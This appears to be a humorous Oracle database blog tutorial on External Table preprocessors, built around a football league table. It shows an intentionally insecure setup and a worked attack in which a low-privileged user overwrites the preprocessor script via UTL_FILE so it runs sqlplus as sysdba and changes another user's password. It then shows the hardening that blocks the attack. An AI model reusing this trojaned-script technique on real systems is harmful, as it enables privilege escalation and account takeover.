The end of the European Football season is coming into view.
In some leagues the battle for the title, or against relegation is reaching a peak of intensity.
Nails are being bitten throughout the continent…unless you are a fan of one of those teams who are running away with their League – Bayern Munich, Juventus, Celtic…Luton Town.
In their fifth season since relegation from the Football League to the Conference, Luton are sitting pretty in the sole automatic promotion place.
Simon is desparately attempting to balance his “lucky” Christmas-cracker moustache until promotion is mathematically certain. Personally, I think that this is taking the concept of keeping a stiff upper-lip to extremes.
With the aid of a recent Conference League Table, I’m going to explore the Preprocessor feature of External Tables.
We’ll start with a simple example of how data in an External Table can be processed via a shell script at runtime before the results are then presented to the database user.
We’ll then demonstrate that there are exceptions to the rule that “Simple is Best” by driving a coach and Trojan Horses through the security hole we’ve just opened up.
Finally, in desperation, we’ll have a read of the manual and implement a more secure version of our application.
So, without further ado…
External (league) Table Preprocessing
We have the league table in a csv called conference_table.csv :
Team, Played, Points, Goal Difference luton town,32,55,72 cambridge utd,31,25,58 barnet,34,11,57 alfreton town,33,0,57 salisbury city,33,0,53 nuneaton town,34,-4,53 gateshead,34,7,51 kidderminster harriers,32,4,50 grimsby town,29,13,49 halifax town,34,10,48 macclesfield town,31,6,47 welling united,32,6,46 forest green,30,14,44 wrexham,33,0,43 lincoln city,34,-4,43 braintree town,27,9,42 woking,34,-11,42 hereford united,33,-11,39 chester,33,-17,35 southport,33,-20,34 aldershot town,32,5,33 dartford,34,-19,33 tamworth,32,-21,29 hyde,34,-58,9
In order to load this data into an External Table, we’ll need a Directory Object in the database that points to an OS directory where this file is located.
In this case, we have a Directory Object called MY_FILES which has been created thus :
CREATE OR REPLACE DIRECTORY my_files AS '/u01/app/oracle/my_files' /
If we now want to access the data in this file, we simply need to copy it to the OS directory pointed to by our Directory Object, make sure that the ORACLE os user can read the file, and then point an external table at it.
cp conference_table.csv /u01/app/oracle/myfiles/. chmod a+r conference_table.csv
Just to check :
ls -l conference_table.csv -rw-r--r-- 1 mike mike 571 Mar 27 13:20 conference_table.csv
As you can see, whilst oracle does not own this file it will have read access to it, as will any other OS user.
And as for our common-or-garden External Table :
CREATE TABLE conference_tab_xt ( team varchar2(50), played number(2), goal_difference number(4), points number(3) ) ORGANIZATION EXTERNAL ( TYPE oracle_loader DEFAULT DIRECTORY my_files ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE SKIP 1 FIELDS TERMINATED BY ',' ( team char(50), played integer external(2), goal_difference integer external(4), points integer external(2) ) ) LOCATION('conference_table.csv') ) REJECT LIMIT UNLIMITED /
Using this, we can now see just who is top of the pile in the Conference…
SELECT team FROM mike.conference_tab_xt WHERE points = ( SELECT MAX(points) FROM conference_tab_xt) / TEAM -------------------------------------------------- luton town SQL>
So far, so good. However, say we wanted to ensure that all of the team names were in upper case when they were loaded into the database ?
OK, this is a fairly trivial requirement, but it does give me the excuse to knock up a simple demonstration of how to implement a Preprocessor for this file.
The shell script to achieve this is relatively simple. If we were just going to run it from the OS, it would look something like this :
#!/bin/sh cat $1 |tr '[:lower:]' '[:upper:]'
The argument passed into the script is the name of the csv file.
In order to make this script suitable for our purposes however, we’ll need to modify it a bit.
Bear in mind that both the cat and tr commands are executed based on what’s in the $PATH variable of the session in which the script is running.
As we can’t guarantee that this variable will be set at run time when the script is invoked from the database, we need to fully qualify the path to these executables.
If you need to work out the path to these executables, you can simply run the following at the command line :
$ which cat /bin/cat $ which tr /usr/bin/tr
Now we can amend the script to read :
#!/bin/bash /bin/cat $1|/usr/bin/tr '[:lower:]' '[:upper:]'
I’ve created this file as the oracle os user and saved it into the same directory as the csv file.
What could possibly go wrong ? We’ll come back to that in a bit.
For now, all we need to do is to make the file executable :
chmod u+x toupper.sh ls -l toupper.sh -rwxr--r-- 1 oracle dba 58 Apr 7 19:30 toupper.sh
Now, finally, we can re-create our External Table as follows :
DROP TABLE conference_tab_xt / CREATE TABLE conference_tab_xt ( team varchar2(50), played number(2), goal_difference number(4), points number(3) ) ORGANIZATION EXTERNAL ( TYPE oracle_loader DEFAULT DIRECTORY my_files ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE PREPROCESSOR my_files : 'toupper.sh' SKIP 1 FIELDS TERMINATED BY ',' ( team char(50), played integer external(2), goal_difference integer external(4), points integer external(2) ) ) LOCATION('conference_table.csv') ) REJECT LIMIT UNLIMITED /
Seems reasonable. After all, minimizing the number of Directory Objects in the database will also minimize the number of possible entry points for any would be directory based attacks right ? Hmmm.
Anyway, we can now check that the preprocessor does it’s work by re-issuing our query :
SELECT team FROM mike.conference_tab_xt WHERE points = ( SELECT MAX(points) FROM mike.conference_tab_xt) / TEAM -------------------------------------------------- LUTON TOWN
Well, that all seems to work perfectly. But is it secure ?
Footballing rivalry in the database
To demonstrate the sort of problems that you could encounter with this External Table as it’s currently defined, we need to return to the land of the Trojan Horse.
Consider two users who need access to the External table we’ve just created.
We’ll call them Achilles and Hector.
If you really want a back-story, Hector is a keen Olympiakos fan, basking in the glory of their runaway lead at the top of the Greek Super League. Achilles supports Panathinaikos and is a bit fed-up with Hector giving it large about how great his team is. The fact that matches between the two teams are referred to as The Derby of the Eternal Enemies adds and extra frisson of tension around the office.
Both of them have the CREATE SESSION privileges and have been granted the DATA_PROCESS_ROLE, which is created as follows :
CREATE ROLE data_process_role / GRANT SELECT ON mike.conference_tab_xt TO data_process_role / GRANT READ, WRITE, EXECUTE ON DIRECTORY my_files TO data_process_role / GRANT EXECUTE ON UTL_FILE TO data_process_role /
Just in case you want to play along, the two users have been created like this :
CREATE USER hector identified by pwd / GRANT CREATE SESSION, data_process_role TO hector / CREATE USER achilles identified by pwd / GRANT CREATE SESSION, data_process_role TO achilles /
A point to note here is that the EXECUTE permission on the Directory Object is required for users to be able to access preprocessor program.
Achilles has decided to take Hector down a peg or two by creating a bit of mischief. He’s heard about this external table pre-processing and wonders if he might be able to use it to help him in his plan.
Before he sets about building his Wooden Horse, Achilles does some planning…
Planning the attack
First, Achilles finds out about the privileges he currently has :
SELECT privilege FROM session_privs; PRIVILEGE ---------------------------------------- CREATE SESSION SQL> SELECT owner, table_name, privilege 2 FROM role_tab_privs 3 ORDER BY table_name; OWNER TABLE_NAME PRIVILEGE -------------------- -------------------- -------------------- MIKE CONFERENCE_TAB_XT SELECT SYS MY_FILES EXECUTE SYS MY_FILES READ SYS MY_FILES WRITE SYS UTL_FILE EXECUTE
Looks like the CONFERENCE_TAB_XT might be the type of external table he’s looking for.
He checks this in his IDE ( SQLDeveloper in this case).
Open the object and ask for the source SQL and :
-- Unable to render TABLE DDL for object MIKE.CONFERENCE_TAB_XT with DBMS_METADATA attempting internal generator. CREATE TABLE MIKE.CONFERENCE_TAB_XT ( TEAM VARCHAR2(50 BYTE) , PLAYED NUMBER(2, 0) , GOAL_DIFFERENCE NUMBER(4, 0) , POINTS NUMBER(3, 0) ) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY MY_FILES ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE PREPROCESSOR MY_FILES : 'toupper.sh' SKIP 1 FIELDS TERMINATED BY ',' ( team char(50), played integer external(2), goal_difference integer external(4), points integer external(2) ) ) LOCATION ( MY_FILES: 'conference_table.csv' ) ) REJECT LIMIT 0
Now Achilles can see that this is indeed an External Table. The file on which it’s based resides in the MY_FILES directory, hence the READ/WRITE privileges on that directory.
There is also a preprocessor for the table. This also resides in the MY_FILES directory, hence the EXECUTE privilege he’s been granted.
The final step in the planning process is to find out what the toupper.sh script does.
As he’s got READ and WRITE to the Directory, Achilles can do this :
set serveroutput on size unlimited DECLARE -- -- Script to read a file from a directory -- l_fp UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32767); BEGIN l_fp := UTL_FILE.FOPEN ( location => 'MY_FILES', filename => 'toupper.sh', open_mode => 'R' ); -- -- Now output the contents... -- BEGIN LOOP UTL_FILE.GET_LINE(l_fp, l_buffer); DBMS_OUTPUT.PUT_LINE(l_buffer); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN NULL; END; END; /
He saves the code to a file called read_shell_script.sql. When he runs it :
SQL> @read_shell_script.sql #!/bin/sh /bin/cat $1|/usr/bin/tr '[:lower:]' '[:upper:]' PL/SQL procedure successfully completed. SQL>
Wheeling the horse to the gates…
Achilles now has all the information required to implement his attack.
At this point, he could do whatever he wanted. Remember, the shell script is executed as the oracle user on the os. The oracle user that owns the database.
What he actually decides to do is…
DECLARE l_fp UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32767); BEGIN l_fp := UTL_FILE.FOPEN ( location => 'MY_FILES', filename => 'toupper.sh', open_mode => 'W' ); -- -- Now write the new and "improved" script -- UTL_FILE.PUT_LINE(l_fp, '#!/bin/sh'); UTL_FILE.PUT_LINE(l_fp, '/u01/app/oracle/product/11.2.0/xe/bin/sqlplus -s / as sysdba <<- END_SCRIPT'); UTL_FILE.PUT_LINE(l_fp, 'set feedback off'); UTL_FILE.PUT_LINE(l_fp, 'alter user hector identified by Panathinaikos_no1_nuff_said;'); UTL_FILE.PUT_LINE(l_fp, 'quit;'); UTL_FILE.PUT_LINE(l_fp, 'END_SCRIPT'); UTL_FILE.PUT_LINE(l_fp, '/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]'); UTL_FILE.FFLUSH(l_fp); UTL_FILE.FCLOSE(l_fp); END; /
This works as expected. After all, as well as Achilles having write access to the MY_FILES directory object in the database, the oracle user on the OS also has write privileges on the toupper.sh file.
Anyway, once this code has run, the shell script now looks like this :
#!/bin/sh /u01/app/oracle/product/11.2.0/xe/bin/sqlplus -s / as sysdba <<- END_SCRIPT set feedback off alter user hector identified by panathinaikos_1970_nuff_said; quit; END_SCRIPT /bin/cat $1|/usr/bin/tr [:lower:] [:upper:]
Of course, being a Trojan, the program hasn’t done anything yet. Achilles leaves everything as is at the moment.
A short while later, Hector decides to find out how things look at the top of the Conference ( he’s a bit of a European Football geek, truth be told) :
SELECT team, pld, pts, gd FROM ( SELECT team, played as pld, points as pts, goal_difference as gd, RANK() OVER( ORDER BY points DESC, goal_difference DESC) as position FROM mike.conference_tab_xt ) WHERE position < 6 /
The query works as expected and Hector is none-the-wiser. Next time he goes to login howerver, he gets an unpleasant surprise :
$ sqlplus hector SQL*Plus: Release 126.96.36.199.0 Production on Thu Apr 10 18:48:03 2014 Copyright (c) 1982, 2011, Oracle. All rights reserved. Enter password: ERROR: ORA-01017: invalid username/password; logon denied Enter user-name:
After a couple of days of the DBA getting annoyed at Hector because he can’t “remember” his password, Achilles simply changes the script back :
DECLARE -- -- Script to reset toupper.sh to it's original contents -- l_fp UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32767); BEGIN l_fp := UTL_FILE.FOPEN ( location => 'MY_FILES', filename => 'toupper.sh', open_mode => 'W' ); UTL_FILE.PUT_LINE(l_fp, '#!/bin/sh'); UTL_FILE.PUT_LINE(l_fp, '/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]'); UTL_FILE.FFLUSH(l_fp); UTL_FILE.FCLOSE(l_fp); END; /
When all else fails – Read the Manual
Clearly the solution we’ve implemented here has one or two issues.
On reflection, it might have been quite a good idea to look at the documentation on the subject of preprocessor security.
From this, we can see that there a number of steps we can take to prevent this sort of attack.
Keeping preprocessors separate from data files
As things stand, our database users have full permissions on the MY_FILES directory object.
However, the EXECUTE privilege is only necessary because they need to execute the preprocessor program.
So, if we created a separate directory object just for the preprocessor, that should solve the problem right ?
Well, it depends.
Remember, there is nothing to stop you having multiple directory objects in the database pointing to a single OS directory.
We want to make sure that it is not possible for our users to write to the preprocessor file from within the database.
To do this, we need an additional Directory Object pointing to a different OS directory.
So, the first step then is to create the OS directory and then a Directory Object in the database that points to it :
sudo su oracle mkdir /u01/app/oracle/pre_proc_dir
…and the new Directory Object :
CREATE DIRECTORY pre_proc_dir AS '/u01/app/oracle/pre_proc_dir'
File permissions on the OS
Once we’ve done this, we can re-create toupper.sh in our new preprocessor OS directory and remove it from it’s original location.
Whilst we’re doing this, it’s probably worth bearing in mind that the oracle OS user only needs execute permissions on the file.
There’s nothing to stop it being owned by a different OS user. So, for example, I could create toupper.sh as mike and do the following :
chmod a+x toupper.sh ls -l toupper.sh -rwxr-xr-x 1 mike dba 244 Mar 28 14:19 toupper.sh
Now, whilst the oracle user can still execute (and read) the file, it cannot write to it. So, even if a user has write permissions on the PRE_PROC_DIR directory object in the database, they won’t be able to change the file itself.
The next step is to re-create our External Table to use the new preprocessor location :
DROP TABLE conference_tab_xt / CREATE TABLE conference_tab_xt ( team varchar2(50), played number(2), goal_difference number(4), points number(3) ) ORGANIZATION EXTERNAL ( TYPE oracle_loader DEFAULT DIRECTORY my_files ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE PREPROCESSOR pre_proc_dir : 'toupper.sh' SKIP 1 FIELDS TERMINATED BY ',' ( team char(50), played integer external(2), goal_difference integer external(4), points integer external(2) ) ) LOCATION('conference_table.csv') ) REJECT LIMIT UNLIMITED /
Directory Object grants
Finally, we need to modify the grants to the DATA_PROCESS_ROLE so that users can still access the table :
REVOKE EXECUTE ON DIRECTORY my_files FROM data_process_role / GRANT EXECUTE ON DIRECTORY pre_proc_dir TO data_process_role / -- re-grant select on the table as we've re-created it... GRANT SELECT ON mike.conference_tab_xt TO data_process_role /
Let’s see how (and indeed, whether) these changes prevent this kind of attack.
Achilles’ privileges have changed :
OWNER TABLE_NAME PRIVILEGE ------------------------------ ------------------------------ ---------------------------------------- MIKE CONFERENCE_TAB_XT SELECT SYS MY_FILES READ SYS MY_FILES WRITE SYS PRE_PROC_DIR EXECUTE SYS UTL_FILE EXECUTE
Now when he comes to read or write the shell script it’s located in PRE_PROC_DIR, a directory to which he only has EXECUTE privileges. Now, he’ll get :
ORA-29289: directory access denied ORA-06512: at "SYS.UTL_FILE", line 41 ORA-06512: at "SYS.UTL_FILE", line 478 ORA-06512: at line 10 29289. 00000 - "directory access denied" *Cause: A directory object was specified for which no access is granted. *Action: Grant access to the directory object using the command GRANT READ ON DIRECTORY [object] TO [username];.
Other points to note
Of course, given a different set of object privileges, it would still be possible for Achilles to cause some mischief by exploiting the External Table preprocessing functionality.
Perhaps the most pertinent privilege here would be CREATE ANY DIRECTORY.
If you have this privilege then you will also have full rights on any Directory that you create. Remember, there is nothing to stop you having multiple Directory Objects that point to a single OS directory.
If Achilles had this privilege, and we had not removed the oracle OS user’s read/write privilege on our preprocessor program, then he could simply have created his own Directory Object in the database and used that to execute the same attack.
The Oracle documentation also mentions some auditing steps that you might consider. In addition to auditing the DROP ANY DIRECTORY privilege, I’d also suggest auditing CREATE ANY DIRECTORY.
I think the other point to note here is that, whilst auditing may serve as a deterrent, it does nothing to actively prevent this kind of thing happening.
As things stand, Luton need only one more win for promotion. Hopefully, Simon’s moustache’s days are strictly numbered.